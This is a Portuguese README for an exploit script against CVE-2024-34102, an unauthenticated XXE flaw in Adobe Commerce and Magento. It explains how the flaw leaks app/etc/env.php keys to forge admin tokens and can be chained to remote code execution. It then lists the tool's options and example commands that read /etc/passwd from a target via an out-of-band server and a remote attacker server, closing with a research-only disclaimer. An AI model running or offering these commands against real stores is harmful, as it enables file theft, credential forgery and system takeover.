
CosmicSting: vulnerabilidade crítica de XXE não autenticada no Adobe Commerce e Magento (CVE-2024-34102)
A CVE-2024-34102 é uma falha grave de segurança decorrente do tratamento inadequado da desserialização aninhada no Adobe Commerce e Magento. Esta vulnerabilidade permite que invasores explorem Entidades Externas XML (XXE) durante o processo de desserialização, podendo permitir a execução remota de código. Em suma, os invasores podem criar payloads JSON maliciosos que, quando desserializados pela aplicação, instanciam objetos com propriedades ou comportamentos indesejados. Isso pode levar a vários riscos de segurança.
Explorar essa vulnerabilidade permite que invasores obtenham acesso administrativo não autorizado à API REST, API GraphQL ou API SOAP, podendo levar a roubo de dados, interrupção de serviço e comprometimento total dos sistemas afetados. Essa vulnerabilidade representa um risco significativo devido à sua capacidade de exfiltrar arquivos sensíveis, como app/etc/env.php, contendo chaves criptográficas usadas para autenticação. Os invasores podem explorar isso para forjar tokens de administrador e manipular as APIs do Magento como usuários privilegiados.
Além disso, a CVE-2024-34102 pode ser encadeada com outras vulnerabilidades, como o exploit de cadeias de filtros PHP (CVE-2024-2961), levando à execução remota de código (RCE). As implicações mais amplas das vulnerabilidades de Entidade Externa XML (XXE) permitem que invasores recuperem e manipulem dados de fontes externas, exacerbando o impacto potencial em sistemas comprometidos.
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
Script de exploit para vulnerabilidade XXE
options:
-h, --help show this help message and exit
--target TARGET, -t TARGET
URL alvo (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
Arquivo a ser lido do host remoto
--oob-server OOB_SERVER, -ob OOB_SERVER
URL do servidor OOB (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
URL do servidor host (http(s)://ip[:port])
Exemplos
# Executar com servidor atacante local e servidor OOB local
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# Executar com servidor atacante remoto e servidor OOB remoto
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# Detecção
python3 detect.py -t https://magento.test
Este script de exploit foi criado exclusivamente para fins de pesquisa e desenvolvimento de técnicas defensivas eficazes. Não se destina a ser usado para quaisquer atividades maliciosas ou não autorizadas. O autor e o proprietário do script isentam-se de qualquer responsabilidade ou obrigação por qualquer uso indevido ou dano causado por este software. Os usuários são instados a usar este software de forma responsável e apenas de acordo com as leis e regulamentos aplicáveis. Use com responsabilidade.